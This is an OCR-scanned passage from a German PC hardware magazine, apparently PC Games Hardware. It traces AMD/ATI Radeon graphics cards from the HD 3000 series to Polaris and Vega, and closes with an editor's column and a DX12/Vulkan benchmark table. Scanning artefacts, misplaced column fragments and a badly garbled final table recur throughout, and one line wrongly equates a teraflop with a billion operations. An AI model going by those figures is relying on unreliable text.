hinter die Konkurrenz zurück. Bei- 
nahe ebenso schwer hatten es die 
kleineren Ableger, doch sie profi- 
tierten von der großen Leistungs- 
lücke, die auch im Portfolio der 
Konkurrenz klaffte, und standen 
vergleichsweise gut da. 


Die nahende Rettung 

Der Neubeginn bei AMD fand in 
kleinen Schritten statt. Zunächst 
trimmten die Ingenieure den gro- 
ßen 80-Nanometer-Chip der HD 
2900, den R600, auf den aktuellen 
TSMC-Fertigungsprozess mit 55 
Nanometern Strukturbreite und 
reduzierten neben dem Speicher- 
interface, das von 512 auf 256 Bit 
schrumpfte, Stromverbrauch und 
Chipgröße dabei drastisch; die 
prinzipiellen Schwächen des De- 
signs aber blieben. So konnte man 
trotz aller Anstrengungen auch 
Ende 2007 im High-End-Bereich 
nicht der Konkurrenz mithalten, 
aber die Kosteneinsparung durch 
eine günstigere Herstellung er- 
laubte es AMD, im Performance- 
Segment mit der HD 3850 und der 
3870 gegen die Geforce 8800 GT 
anzugehen. 


Als strategisch, aber nicht unbe- 
dingt technisch besonders wich- 
tig ist der Schritt auf Direct X 10.1 
einzuschätzen, den AMD mit der 
HD-3000-Reihe tat und der den Ka- 
nadiern ein mächtiges Marketing- 
instrument lieferte, auch wenn im 
Nachhinein nur wenige Spiele da- 
von profitierten. Anno 2016 war es 
mit Blizzards Overwatch immerhin 
ein sehr prominenter erster Titel, 
der DX10.1 zum Starten voraussetz- 
te. Die kleineren Karten für den 
Mainstream- und Einsteigermarkt 
erfuhren ebenfalls das Update, 
hier wurde an der grundlegenden 


Architektur allerdings kaum etwas 
geändert. Lediglich die Taktraten 
hat AMD angepasst, GDDR4-Versio- 
nen für die Mittelkasse gestrichen 
und die HD 3450, HD 3470 und HD 
3650 in die aktualisierte Nomenkla- 
tur eingefügt. 


Der Sweet-Spot 

Im Frühsommer 2008 war es dann 
so weit: Mit dem RV770-Chip kehr- 
te ein neuer Architekturbesen den 
Staub des R600-Erbes aus ATIs Pro- 
duktionsstätten. Die an allen Ecken 
und Enden verbesserte Architektur 
zeigte keine Schwäche mehr beim 
Einsatz von Kantenglättung, bot ei- 
nen neuen, effizienteren Speicher- 
controller und durch weitere Opti- 
mierungen konnte AMD satte 800 
Shader- und 40 Textureinheiten in 
den knapp 275 Quadratmillimetern 
Chipfläche (PCGH-Messung) unter- 
bringen. In Verbindung mit dem 
Chiptakt von 750 MHz durchbrach 
auf der Radeon HD 4870 erstmals 
eine Serien-GPU die Schallmauer 
von einem Tera-FLOPS Rechenleis- 
tung - zu Deutsch: einer Milliar- 
de Gleitkomma-Operationen pro 
Sekunde. Damit brachte das Top- 
Modell mit dem neuen GDDRS- 
RAM auch Nvidias zweitschnells- 
tes Modell, die GTX 260 in ärgste 
Bedrängnis, sodass die Kalifornier 
zunächst eine schnellere Version 
herausbringen und schließlich 
auch noch die Preise drastisch re- 
duzieren mussten. Die HD 4850 
setzte zwar nur auf herkömmlichen 
GDDR3-RAM, konnte aber gegen 
die Konkurrenz gut bestehen und 
zeichnete sich durch eine relativ 
geringe Leistungsaufnahme aus. 
Zusammen mit dem DX10.1-Bonus 
und den günstigen Preisen war sie 
eine sehr gute Alternative zu Nvidi- 
as nun ebenfalls preisreduzierten 
G92-Produkten wie der 9800 GTX. 


HD 3870 X2: Sollte 2008 der 8800 Ultra Paroli bieten. 
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Die Architekturverbesserungen 
trópfelten in den Folgemonaten in 
die kleineren Chips. Mit der HD 
4670 und dem RV730 war darunter 
auch eine sehr performante, aber 
gleichzeitig günstige und sparsa- 
me Variante, die erstmals seit dem 
Wechsel zu Direct X 10 auch im 
Sub-100-Euro-Bereich für vernünf- 
tiges Spielen ausreichte. 


Mit der HD 4870 X2, einer Zwei- 
GPU-Version der HD 4870, über- 
AMDs  Radeon-Karten 
dann auch erstmals seit Langem 
wieder die unangefochtene Fps- 
Krone, nachdem das in der Vorgän- 
gergeneration mit der HD 3870 X2 
im Vergleich zur Geforce 8800 Ult- 
ra mehr schlecht als recht und vor 
allem im 3D Mark gelang. Im Früh- 
jahr 2009 gab es dann zwei Über- 
raschungen: Zum einen legte AMD 
den RV770 als hóher taktende Ver- 
sion RV790 unter dem Namen HD 
4890 neu auf, zum anderen kam 
mit dem RV740 (als HD 4770) die 
erste Grafikkarte mit 40-nm-Gra- 
fikchip auf den Markt. Diese war 
zwar lange Zeit kaum verfügbar, 


nahmen 


erwies sich im Nachhinein aber als 
unschátzbar wertvolles Produkt für 
AMD, da man hiermit Erfahrungen 
mit dem problematischen 40-nm- 
Prozess sammeln konnte und wohl 
auch deshalb die darauf basieren- 
de Folgegeneration rechtzeitig auf 
den Markt bekam. 


Direct-X-11-Pionier 

Auf der Computex im Juni zeigte 
AMD bereits erste Muster hinter 
verschlossenen Türen und auch 
Spieleentwickler hielten schon 
Monate zuvor lauffähige Exempla- 
re in Händen, aber offiziell auf den 
Markt kam die Radeon-HD-5000-Se- 
rie erst am 23. September 2009. 
Trotzdem war sie mit Abstand die 
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erste erhältliche Karte, die den 
Direct-X-11-Standard von Microsoft 
erfüllte - und ältere Spiele meist 
auch noch wesentlich schneller 
darstellte als die Konkurrenz. Mit 
über 2 Milliarden Transistoren 
auf circa 350 Quadratmillimetern 
(PCGH-Messung) quetschten die 
AMD-Ingenieure 1.600 Shader- und 
80 Textureinheiten in den Chip 
und verdoppelten damit die verfüg- 
bare Rechen- und Texturleistung 
auf einen Schlag. Die Architektur 


jedoch blieb in großen Teilen den 
inzwischen bewährten Vorgängern 
der HD-4000-Reihe ähnlich. 


Mit der HD-5000-Reihe änderte 
AMD das Schema der Grafikchip- 
Aus Buchstaben- 
Zahlen-Kombinationen wie RV770 
wurden Gewächse der Evergreen- 
Familie: Cypress, Juniper, Redwood 
und Cedar - in späteren Generatio- 


Codenamen: 


nen schwenkte man auf Inseln wie 
Tahiti und Fiji und aktuell ist man 


Mit der Ende 2011 vorgestellten Radeon HD 7970 und der GCN-Architektur hat AMD 
einen echten Langläufer geschaffen - die Karte hält selbst heute noch mit. 


Auch mit GCN waren Dual-GPU-Karten weiterhin im Programm: Oben ein doppelter Tahiti 
auf der Radeon HD 7990, unten die zweifache Hawaii-GPU auf der Radeon R9 295X2 — 
auch dank enorm gestiegener Preise ebbte die Beliebtheit von Dual-GPU-Karten rasch ab. 
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bei Sternennamen wie Polaris (und 
demnächst Vega) angelangt. 


Nachdem spieletaugliche Grafik- 
chips immer leistungshungriger 
wurden, hat AMD die Zeichen der 
Zeit erkannt und sowohl die Leis- 
tungsaufnahme unter Last als auch 
den Stromverbrauch im Leerlauf 
gegenüber der Vorgängergenera- 
tion optimiert. Absolut gesehen 
stieg der Stromverbrauch unter 
Last zwar etwas an, jedoch bei Wei- 
tem nicht in dem Maße wie die 
3D-Leistung - die Karte wurde also 
effizienter. Auch die Leistungsauf- 
nahme im Leerlauf, einer unserer 
Kritikpunkte an der HD 4800 und 
besonders den GDDR5-Modellen, 
wurde stark verbessert. Endlich 
konnte auch der Videospeicher in 
einen stromsparenden Ruhemodus 
geschickt werden und ermóglichte 
bei der High-End-3D-Karte einen 
Leerlaufverbrauch unter der Marke 
von 30 Watt. Darüber hinaus wagte 
sich AMD an die (fällige) Verbesse- 
rung der Bildqualität - eines der 
Merkmale, die PC-Gaming noch 
von Konsolen abhebt. So verbesser- 
te man die Level-of-Detail-Bestim- 
mung beim AF, die nun komplett 
winkelunabhängig arbeitet, und 
bot erstmals seit Jahren wieder 
bestmögliche Kantenglättung mit- 
tels Full-Screen Supersampling. 
Dieses glättet nicht nur Trepp- 
cheneffekte an Geometriekanten, 
sondern beruhigt das gesamte Bild 
auch innerhalb von Texturen oder 
in transparenten Bereichen wie 
Vegetation oder Zäunen. Ein unter 
bestimmten Umständen störendes 
Textur-Banding erzeugender Bug 
fiel erst später auf und wurde dann 
mit der folgenden GCN-Architek- 
tur behoben. In den Folgemonaten 
legte AMD in rascher Folge die Mit- 
telklassekarten der HD-5700-Reihe 
und später HD 5600/5500 sowie 
die Einsteigerkarte HD 5450 nach, 
noch bevor die Konkurrenz die 
erste Direct-X-11-Karte ausliefern 
konnte. Mit der Dual-GPU-Karte 
Radeon HD 5970, auf der zwei 
vollständige, aber im Takt reduzier- 
te Cypress-Chips arbeiten, stellte 
AMD ab November 2009 wieder 
den Benchmark-König unter den 
Grafikkarten. 


HD 6000: Das Ende von ATI 

Die Radeon HD 5000 war nach 
rund 25-jähriger Verwendung die 
letzte Produktreihe, bei welcher 


der Markenname ATI zum Einsatz 
kam. Die folgenden Grafikkarten 
segelten nur noch unter der Flagge 
von AMD ohne den traditionsrei- 
chen Zusatz. Das fing mit der Ra- 
deon HD 6870 und der HD 6850 
auf Basis der Barts-GPU an, AMDs 
zweite Direct-X-11-Generation 
ging im Oktober 2010 an den Start. 
Die Shader-Einheiten sind bei der 
kleineren Bart-GPU nach wie vor 
im VLIW5-Design aufgebaut und 
im Falle der HD 6870 in 14 SIMD- 
Rechenwerken zu je 80 ALUs und 4 
TMUs organisiert. Um die GPU zu 
schrumpfen, verzichtet AMD auf 
die Unterstützung von Double-Pre- 
cision (DP). AMD spricht von bis 
zu doppelter Performance bei mo- 
deratem Tessellationseinsatz (HD 
6870 gegen HD 5870), was aber 
hauptsächlich Buffer- und Treiber- 
anpassungen zu verdanken ist. 


Nur wenig später, noch im Dezem- 
ber 2010, stellt AMD die Radeon HD 
6970/6950 vor, die nunmehr dritte 
Direct-X-11-Generation auf Basis 
von Cayman, der seinen Namen ei- 
ner Inselgruppe in der Karibik, den 
Cayman Islands, verdankt. Mit Cay- 
man wechselt AMD auf ein VLIWÁ- 
Design. Dieses benótigt weniger 
Platz, bei gleichem Die-Space kann 
AMD also mehr ALUs unterbringen. 
Im Schnitt ist Cayman trotz identi- 
scher Peak-Arithmetikleistung zu 
Cypress besser ausgelastet, arbei- 
tet also effizienter. Das macht sich 
auch positiv in den Benchmarks 
bemerkbar. Weniger schön ist die 
Qualität des anisotropen Texturfil- 
ters, der nach wie vor Anlass zu Kri- 
tik gibt. Nach ein paar Zwischen- 
episoden, unter anderem mit einer 
erneuten Dual-GPU-Karte, der HD 
6990 mit 2x Cayman XT, läuft die 
6000er-Serie Ende 2011 aus. 


Ein letztes Mal ATI in Hardware: Nach der 
HD-5000-Reihe lebt ATI nur in einigen 
Dateinamen des Radeon-Treibers weiter. 
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HD 7000: Comeback 

Schon Ende 2011 (und daher auch 
in den unten stehenden Diagram- 
men als 201ler-Produkt geführt) 
erscheinen die ersten Tests der 
Radeon HD 7970, die den Reigen 
der HD-7000-Releases eröffnet. 
AMD bringt damit die weltweit 
erste Grafikkarte mit Direct X 11.1, 
PCI-Express 3.0 und 28-Nanome- 
ter-Fertigung. Dank drei Gigabyte 
Speicher verweilen entsprechen- 
de Karten sehr lange in den PCs 
der Spieler. Unter der Haube setzt 
die runderneuerte Architektur 
„Graphics Core Next“, kurz GCN, 
auf sogenannte Compute Units als 


grundlegende Einheit. Die CUs 
basieren nicht mehr auf den bis 
dato bei AMD üblichen VLIW-Ein- 
heiten, sondern bestehen aus ei- 
ner gemeinsamen Skalar- und vier 
Vektor-16-Einheiten; dazu gesellen 
sich wie üblich die (vier) Textur- 
einheiten und Caches und bilden 
in dieser Konstellation die Radeon- 
Basis für die kommenden 5+ Jahre. 
Mit der HD 7970, die Anfang 2012 
für rund 500 Euro in die Händler- 
regale kommt, gelingt AMD der 
Wiedereinstieg ins High-End-Seg- 
ment. Ende Januar 2012 folgt dann 
die rund 400 Euro teure HD 7950 
mit Tahiti Pro, die unter anderem 


Auch die Hawaii-GPU, wie hier auf der Radeon R9 290X, musste von 2013 bis Mitte 
2016 AMDs Flagge hochhalten — und war zeitweise ein echter Preis-Leistungs-Tipp. 
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ATI/AMD Rage/Radeon-Füllraten: 1996/2000 bis 2016 
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Bemerkungen: Dank von 500 (1996) auf 14 nm (2016) um rund 97 Prozent schrumpfender Strukturbreite 
konnten die Ingenieure die Schaltungsdichte seit dem Jahr 2002 von 0,5 auf 24,5 Mio. Transistoren pro Qua- 
dratmillimeter beinahe um Faktor 50 erhöhen. *Keine verlässlichen Daten bei Chipgröße und Transistorzahl 


Bemerkungen: Während die pro Sekunde zubereiteten Texturen mit steigender Rechenleistung seit Beginn 
der Radeon-Ära im Jahr 2000 um Faktor 245 skalierten, nahm die Anzahl der rasterisierten und von den ROPs 
finalisierten Pixel pro Sekunde weniger stark zu. Hier verzeichnen wir lediglich eine Steigerung um Faktor 184. 


Rechenleistung von 2002 bis 2016 


ATI-/AMD-Karten und der Speicher: 1996 bis 2016 


Rechenleistung 2002-2016 
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Speichermenge und -transferrate 
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Bemerkungen: Die GFLOPS-Leistung ist der Faktor, welcher eine immer bedeutendere Stellung einnimmt und 
der ergo am stärksten zulegt. Dabei spielt zunehmend der Stromverbrauch der Rechenwerke eine entscheidende 
Rolle. ** FP24-Leistung der Pixel-Shader, DX9-FP min. Anforderung * FP32-Leistung der Pixel-Shader 


Bemerkungen: Die maximale Speichermenge auf Consumer-Radeon-Karten liegt seit dem Jahr 2013 mit 
einigen R9-290X-Modellen bei 8.192 MiByte. Die Speichertransferrate hingegen erfuhr mit dem 4.096-bittigen 
HBM der Radeon R9 Fury/Nano 2015 den letzten starken Anstieg auf über 500 GByte pro Sekunde. 
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SPECIAL | Vor Vega: Die Radeon-History 


Die extrem kompakte Radeon R9 Nano vereint alle Vorteile der Fiji-SPU und des HBM- 
Speichers: Kompaktheit, hohe Rechen- und Speicherleistung sowie hohe Effizienz. 


Die Radeon R9 Fury X mit HBM ist technisch beeindruckend, hatte es jedoch schwer 
gegen Nvidias GM200-Chips, sodass AMD bald die Preise senken musste. 


Die 2016er-Mittelklasse: Die Radeon RX 480 bietet bis 250 Euro, ergänzt von RX 470 
und 460 speziell im Bereich unter 200 Euro, durchaus konkurrenzfähige Leistung. 
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durch ihre vergleichsweise niedri- 
ge Leistungsaufnahme glänzt - Kar- 
ten der Boardpartner beweisen, 
dass die HD-7900-Karten im Gegen- 
satz zu den Referenzmodellen leise 
gekühlt werden können. Schon im 
März 2012 schickt AMD die beiden 
Pitcairn-basierten Grafikkarten HD 
7870 und HD 7850 ins Rennen. 
Preislich sind die Karten im Ver- 
gleich zur Konkurrenz zum Start 
nicht ganz so attraktiv - trotz des 
deutlichen Leistungsplus gegen- 
über der Vorgängergeneration, der 
niedrigen Energieaufnahme und 
des leiseren Kühlerdesigns. Im Seg- 
ment über 200 Euro bringt AMD in 
der Folge weitere HD-7000er-Kar- 
ten, darunter Boost-Editionen der 
HD 7870 bzw. HD 7950, außerdem 
eine GHz-Edition der HD 7970. 
Nach oben abgerundet wird die 
„Southern Island“ genannte GPU- 
Generation von der HD 7990, auch 
Malta genannt. Knapp 1.000 Euro 
verlangt AMD für die Dual-GPU- 
Karte - ein stolzer Preis. 


Radeon R5/7/9 200 

Die HD-8000-Serie gibt es nur im 
OEM-Bereich als reine Umbenen- 
nung der 7000er-Reihe. AMD startet 
im Retail-Bereich im Oktober 2013 
die Volcanic-Islands-Generation 
neu. Doch wirklich „neu“ sind die 
ersten vorgestellten Karten nicht. 
Nur die Radeon-Nomenklatur - 
bestehend aus einem R, gefolgt 
von den Kennziffern 5, 7 oder 9 
(abhängig vom Leistungssegment) 
und abgerundet von einer 200er- 
Nummer mit einem elitären „X“ am 
Ende der schnellsten Modelle - ist 
neu, der Rest eine Umbenennung 
wie etwa der HD 7970 GHz-Edition 
in R9 280X. Okay, anstelle des fixen 
Takts werden die Karten mit einem 
Boost vermarket, der im genannten 
Falle aber sogar geringer ausfällt 
als der FestTakt der Vorlage. Die 
GCN-GPUs bringen aber immerhin 
Direct X 11.2, die neue Low-Level- 
API Mantle und zumindest für die 
R7 260X auch True Audio mit sich. 


Nur wenige Tage spáter werden 
dann auch die (wirklich neuen!) R9 
290 (X) mit Hawaii Pro/XT präsen- 
tiert, AMDs GCN-1.1-Flaggschiffe, 
die ebenfalls True Audio beherr- 
schen. Auf ihnen kommt die 438 
mm? große Hawaii-GPU zum Ein- 
satz, welche 44 CUs mit 2.816 Sha- 
dern und anfangs 1 GHz Takt kom- 
binierte und die resultierenden 5,6 


TFLOPS Rechenleistung über ein 
512 Bit breites Speicherinterface 
mit Daten versorgte. Beide Karten 
sind allerdings nicht wirklich leise, 
im Gegenteil. Im manuell wähl- 
baren „Uber“-Modus erzeugt die 
290X bei sehr hohen Fps enormen 
Krach und auch die Radeon R9 290 
ist immer noch relativ laut - selbst 
eine GTX Titan ist im Extremfall 
nur halb so laut. Immerhin sind 
die 4 GiB RAM zukunftssicherer als 
bei der Konkurrenz, Nvidias GTX 
780 Ti mit 3 GByte, mit der die R9 
290(X) anfangs noch schwer zu 
kämpfen hatte. Heute hängt eine 
R9 290 die GTX 780 etwa recht 
deutlich ab. 


2014 erscheinen nur wenige neue 
Radeon-Modelle, hauptsächlich mit 
der R9 285 auf Basis des Tonga- 
Pro, einer neuen GCN-Generation 
(1.2 respektive GCN3) sowie die 
wohl unvermeidliche Dual-GPU- 
Karte Radeon R9 295X2. Immer- 
hin zeigt Tonga, wohin die Reise 
gehen Eine verbesserte 
Multimedia-Engine beschleunigte 
zusätzliche Video-Codecs auch in 


sollte: 


4K-Auflösung und eine verlustfreie 
Bildpufferkomprimierung (,Delta- 
С-Сотргеѕѕіоп“) erhöhte die Effi- 
zienz des GDDR5-Videospeichers. 
Doch zu starke Beschneidung der 
GPU in der R9 285 verhinderte, 
dass sie sich merklich von der R9 
280X absetzen konnte: Der Tonga- 
Chip kam nur mit 256 anstelle von 
384 Bit breitem Speicherinterface 
und 1.792 von 2.048 Shader-ALUs 
(28 von 32 CUs) auf den Markt. 
Immerhin den Vollausbau an CUs 
reichte die R9 380X für PC-Spieler 
im Folgejahr nach - auf den Tonga- 
Vollausbau wartete man vergeblich. 


Radeon R(ebrand)7/9 300 & 
die erste HBM-Grafikkarte 
Im Juni 2015 erscheinen dann die 
ersten Karten der Pirate-Islands- 
Generation. Hier fáhrt AMD zwei- 
gleisig; Neben erneutem Rebran- 
ding, bei dem Pitcairn als Curacao, 
Hawaii als Grenada und Tonga als 
Antigua mit Namen von R7 370 
(Pitcairn Ш. von 2012) bis R9 390X 
(Hawaii IL) teils mit hóherem Takt 
erneut an den Start geschickt wer- 
den, gibt es auch echte Neuent- 
wicklungen: Die Radeon R9 Fury/ 
Fury X und R9 Nano auf Basis der 
Fiji genannten GPU. Zwar ist die 
hier genutzte Fiji-GPU auch neu, 
bringt von der Architektur her 
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aber eher wenig Innovation - nur 
„mehr“ vom selben, sodass am Ende 
4.096 Shader-ALUs in 64 CUs wer- 
keln. Wirklich neu ist, dass Fiji als 
erste Massenmarkt-Karte auf High 
Bandwidth Memory, kurz HBM 
setzt. Die vier je 1 GiByte großen 
Stapelspeicher sind mit jeweils 
1.024 Bit angebunden und bringen 
zusammen die enorme Transfer- 
rate von 512 GByte pro Sekunde 
zur GPU - mit der sie zudem auf 
demselben Package sitzen, sodass 
die Fiji-basierten Grafikkarten, spe- 
ziell die R9 Nano, vergleichsweise 
klein ausfallen. Das Topmodell 
Fury X taktet AMD mit 1.050 MHz 
allerdings bis an die Schmerzgren- 
ze und muss dafür eine Flüssig- 
kühlung mit Radiator einsetzen. 
Und der hat mit nervigen Störge- 
räuschen aufgrund mangelnder 
Qualitätskontrolle beim Zulieferer 
seine eigenen Problemchen in der 
ersten Produktionscharge. Trotz- 
dem gelingt AMD im Vergleich zur 
Konkurrenz, Nvidias GTX 980 Ti, 
kein echter Gleichstand. 


Immerhin: Unter der neuen DX12- 
API (wie auch später unter Vulkan) 
kann Fiji seine Rechenmuskeln 
besser spielen lassen und erweist 
sich in dieser Hinsicht als zukunfts- 
sicherer. Zumal fast alle neuen 
DX12-Titel die von AMD aktiv als 
„Asynchronous Compute“ bewor- 
benen Multiple Command Queues 
von DX12 nutzen, die speziell Com- 
pute- und Grafikkerneln eine Art 
Out-of-Order-Execution erlauben 
und damit die Auslastung der ALUs, 
AMDs 
steigern können. 


klassischer Achillesferse, 


Neben der Fury X bringt AMD bis 
zum Herbst 2015 auch noch die et- 
was günstigere, weil bei der GPU 
abgespeckte Fury (ohne X und 
ohne 8 CUs, also mit „nur“ 3.584 
Shader-ALUs) sowie den auf Spar- 
samkeit und Effizienz getrimmten 
Mini-Fiji-Vollausbau namens Ra- 
deon R9 Nano auf den Markt. Ur- 
sprünglich sollte auch die Radeon 
R9 Fury X2 noch 2015 erscheinen, 
aber die Dual-GPU-Karte hebt sich 
AMD für Mai 2016 und den Start 
einer neuen Reihe namens Radeon 
Pro auf, deren erstes Produkt die 
auf den Markt für ,digital Content 
Creators“ abzielende Radeon Pro 
Duo wird. Mit ihr sollen Rendering 
& Co. dank guter Open-CL-Leistung 
wesentlich schneller gelingen - 
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und das làsst sich AMD auch gut be- 
zahlen: 1.500 Euro kostet die Karte 
ab Launch, ist das schnellste 3D- 
Mark-Monster und erhält zunächst 
exklusiv AMDs selbst erdachtes AR 
Creator Ready“-Siegel. In Crossfire- 
optimierten Spielen liegt sie zum 
Launch ebenfalls weit vorn, kann 
ihre Rohleistung aber nach wie vor 
am besten in Ultra HD ausspielen. 
Wie treue PCGH-Leser wissen, ha- 
ben 4 GiByte Grafikspeicher in die- 
ser Auflösung schon zu kämpfen. 


Mit Polaris kommt die 
Radeon RX 

Ein halbes Jahr nach dem Fiji-Ver- 
kaufsstart gab AMD erste Informati- 
onen zur Nachfolgegeneration mit 
dem Codenamen Polaris heraus. 
Hier stand nicht nur eine neue 
Chip-Generation, sondern auch der 
Wechsel vom inzwischen gut abge- 
hangenen 28-nm-Prozess bei TSMC 
auf die aktuelle 14-nm-Fertigung 
beim AMD-Spin-off Global Found- 
ries auf dem Plan, daher waren die 
Erwartungen groß. AMD schürte 
diese im Rahmen einer groß ange- 
legten Marketing-Kampagne und 
stellte dabei besonders die Strom- 
spar-Fähigkeiten des Topmodells 
Radeon RX 480 sowie dessen VR- 
Eignung in den Vordergrund. Beim 
Polaris 10, so der Codename des 
Chips, quetscht AMD 2.304 Shader 
(36 CUs) in 5.700 Mio. Transistoren 
- und bringt damit und dem weni- 
ger als halb so schnellen Polaris P11 
Mid-Range- und Entry-Level-Chips 
als Ablösung für die Radeon R9 
300-Reihe. Die Furys bleiben auch 
2016 die  Leistungs-Speerspitze, 
müssen sich jedoch mit Nvidias 
kräftig beschleunigten Geforce- 
10-Karten herumschlagen, die mit 
Taktraten arbeiten, an die AMD 
trotz nominell gleicher 14-nm-Ferti- 
gung (Polaris bei GloFo vs. GP106 
bei Samsung) bei Weitem nicht he- 
rankommt. Trotz überzeugendem 
mit — HDR-Suppott, 
HEVC-Beschleunigung und verbes- 


Feature-Set 


serter Geometrieleistung muss 
AMD auch das Jahr 2016 vor allem 
über den Preis angreifen. 


Ausblick: Vega 

Für 2017 will AMD mit Vega weiter 
an Boden gewinnen - und zwar im 
High-End-Sektor. Erste Demos sa- 
hen vielsprechend aus, ebenso die 
vagen Andeutungen zur Architek- 
tur. Vega 10 wird eine ziemlich gro- 
fse, knapp 500 mm? messende GPU 


Auf dem AMD Tech Summit Anfang Dezember 2016 zeigt RTG-Chef Raja Koduri 


erstmals den kommenden Vega-Grafikchip in der Öffentlichkeit. 


RADEON RX 4XX 


Y 


Technisch: Mehr als1.5 TFLOPS sowie 
100 GB/s Transferrate (noch nicht final) 
User-Experience 1080p: >60 fps in 
beliebten Spielen wie DOTA 2, LOL etc. 


- 


Generation 


Klasse Revision 
9: >256 Bit/4k 0: Erste 
8 - 7: 256 Bit/1440p 5: Zweite 


6 - 5: 128 Bit/1080p 


AMD stellte mit Polaris Mitte 2016 das Namensschema noch einmal leicht um. , RX” 
sind grundsätzlich für Spieler geeignete Radeon-Karten, die Zahl dahinter variiert. 


Entwicklung kompakt: In GFLOPS we trust 
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Faktor zur Basis Radeon 9700 Pro 


Steigerung verschiedener Leistungsfaktoren seit 2002 (R300-GPU) 
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Bemerkungen: Sieht man sich die Entwicklung seit der ersten „modernen“ Radeon-GPU, dem R300, an, fällt 
auf, dass vor allem in den letzten Jahren die Rechenleistung, gemessen in GFLOPS, massiv zugelegt hat. Andere 
Kenngrößen wachsen dagegen zuletzt eher gemächlich, selbst die HBM-Transferrate verblasst im Vergleich. 


und wie Fiji HBM nutzen. Aller- 
dings soll es wohl HBM gen2 wer- 
den, der theoretisch doppelt so 
schnell ist und auch die zweifache 
Speicherkapazität aufweist - dafür 
aber nur zwei Stapel, sodass erste 
Vega-Radeons wohl mit 8 GiByte 
auskommen (müssen). Bei der Re- 
chenleistung stehen wohl 50 Pro- 
zent Zuwachs gegenüber Fiji zu er- 
warten, die zu einem grofsen Teil, 
so der aktuelle Stand, über einen 
hóheren Takt zustande kommen. 


Die Unterteilung des Chips in vier 
Shader-Engines bleibt erhalten, die 
Geomtrieleistung soll allerdings 
um Faktor 2,6 steigen - denn Vega 
10 soll an 11 Dreiecken gleichzeitig 
arbeiten kónnen. Hinzu kommen 
Effizienzverbesserungen über eine 
Neuorganisation des L2-Caches 
und der Raster-Endstufen, ein effizi- 
enterer Rasterisierer und vieles 
mehr. Die Radeon-Story wird also 
wohl noch einige Jahre erfolgreich 
weitergehen. (cs) 
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Grafikkarten 


Grafikkarten, Kühler 


Torsten Vogel 
Fachbereich Abwarten 
E-Mail: tv@pcgh.de 


Kommentar 


Eine GPU, bitte. Und zwei Tonnen Tee. 


Vor 15 Monaten hatte ich ein Problem: Die GTX 
670 war für Witcher 3 eindeutig zu langsam, 
aber noch einmal viel Geld in eine 28-nm- 
GPU investieren? Lieber nicht. Eine gebrauch- 
te GTX 780 Ti löste das Dilemma: ausreichend 
schnell und sogar mit einem an mein System 
angepassten Wasserkühler günstig genug, um 
als Übergangslösung zu dienen. Nur noch ein 
bisschen Tee trinken und dann im Sommer oder 
Herbst 2016 400 Euro in eine GTX ?80 oder et- 
was mehr in eine ?80 Ti bzw. die neueste AMD- 
High-End-Karte investieren. Dachte ich mir. 


m besagten Herbst kostete die GTX 1080 
weiterhin über 600 Euro, die schnellste AMD- 
Grafikkarte war mit der Fury X immer noch ein 
ver-Jalt(-et-)es 28-nm-Modell und ich beschloss, 
auf die CES-Neuigkeiten im Januar zu warten: 
Eine GTX 1080 Ti und , Vega" versprachen die 
Gerüchteköche. Erstere wäre zwar selbst für 
Nerds wie mich viel zu teuer und Letztere even- 
tuell weniger High End als gewünscht — aber es 
würde Bewegung in das Preisgefüge kommen. 


Jetzt sind wir im 01/2017 und die neue 
GPU-Leistungsentfaltung vertagt sich bis zur 
Computex im Juni. Das wäre ein Jahr nach der 
Vorstellung der aktuellen Chips. Zum Vergleich: 
So lange musste man nach der 9800 GTX+ 
auf die mehr als doppelt so schnelle HD 5870 
warten. Das Beste, was wir diesmal bekommen 
werden, ist ein beschnittener Consumer-Ab- 
leger des GP100 von Anfang 2016 und eine 
hochgetaktete Fury X, bei der die schon zum 
Launch angekreideten Fehler bereinigt wurden. 
Und selbst bis zu diesen Fortschrittchen müssen 
wir noch weitere vier Monate Tee trinken und 
abwarten. Wo bleibt da die Entwicklung, mit 
der die immer hóheren Preise begründet wer- 
den? Meine , Übergangs"-780-Ti habe ich der- 
weil über das Leistungsniveau einer GTX 1060 
übertaktet. Lang lebe die neue Generation! 


Low- vs. High-Level-API: Stand 2017 


Die hardwarenahen Schnittstellen Direct X 12 und 
Vulkan mausern sich. PC Games Hardware prüft 
den Status Anfang 2017. 


atches für bestehende Spiele sowie neue Ti- 
Ры sorgen für eine Verbreitung der Low-Le- 
vel-Schnittstellen Direct X 12 und Vulkan. Letz- 
teres fristet nach wie vor ein Schattendasein, 
obwohl diese API im Gegensatz zu DX12 weder 
Windows-10- noch generell Windows-gebunden 
ist. Der neueste Titel im Low-Level-Reigen ist 
Ubisofts The Division, der noch Ende 2016 fit 
für DX12 gemacht wurde. Im Februar folgt vo- 
raussichtlich ein weiteres DX12-Spiel von Ubi- 
soft: For Honor (Vorschau ab Seite 106). 


Zeit, den Zustand bestehender Low-Level-Im- 
plementierungen abzuklopfen. Wir haben acht 
populäre Spiele mit dem Patch-Stand Januar 


2017 erneut getestet. Zum Einsatz kommt dabei 
ein reines AMD-System, basierend auf einem FX- 
8350-Prozessor sowie einer Radeon R9 Nano. 
Die Taktraten sind auf 4,0 (CPU) respektive 1,0 
GHz (GPU) festgesetzt, um möglichst präzise 
Messwerte zu erhalten. Die Benchmarks finden 
praxisnah mithilfe von PCGH-Spielständen an- 
stelle von integrierten Benchmarks statt und 
sind in zwei Kategorien gestaffelt. Im ersten 
Durchlauf provozieren wir mithilfe der 720p- 
Auflösung ohne AA/AF/AO ein vollständiges 
CPU-Limit, im zweiten steigern wir die Pixel- 
menge auf WQHD und aktivieren AA/AF/AO, 
um weitgehend im Grafiklimit zu landen. Die 
Ergebnisse sind durchwachsen, aber grundsätz- 
lich positiv: Abgesehen von Deus Ex MD und 
TW Warhammer, die im CPU-Limit nach wie vor 
unerklärlich schlecht performen, bringen DX12 
und Vulkan kleine bis große Fps-Gewinne. (rv) 


Spiel High Level, | Low Level, Differenz | High Level, | Low Level, Differenz 
(Plattform) — Testszene 720p 720p High-Low 1440p 1440p High - Low 
Ashes of the Singularity 16/27,8 24/49,3 б 14/26, 1 5/28,5 " 
боб) — , Scavenger" (DX DX12) > DX11) DX12) 19% 
Battlefield 1 88/95,3 94/104,5 B 43/47,6 44/47,8 D 
ОЕ Сара (DX11) DX12) +10% DX11) DX12) E 
Deus Ex: Mankind Divided 48/70,5 39/53,9 37/47,1 36/48,1 +2% 
Steam) — „Prague“ (DX11) DX12) DX11) DX12) S 
he Division 68/97,5 80/105,7 48 9l 40/50,0 44/52,4 45 % 
Uplay) — „Madison FH“ (DX11) DX12) Ë DX11) DX12) Š 
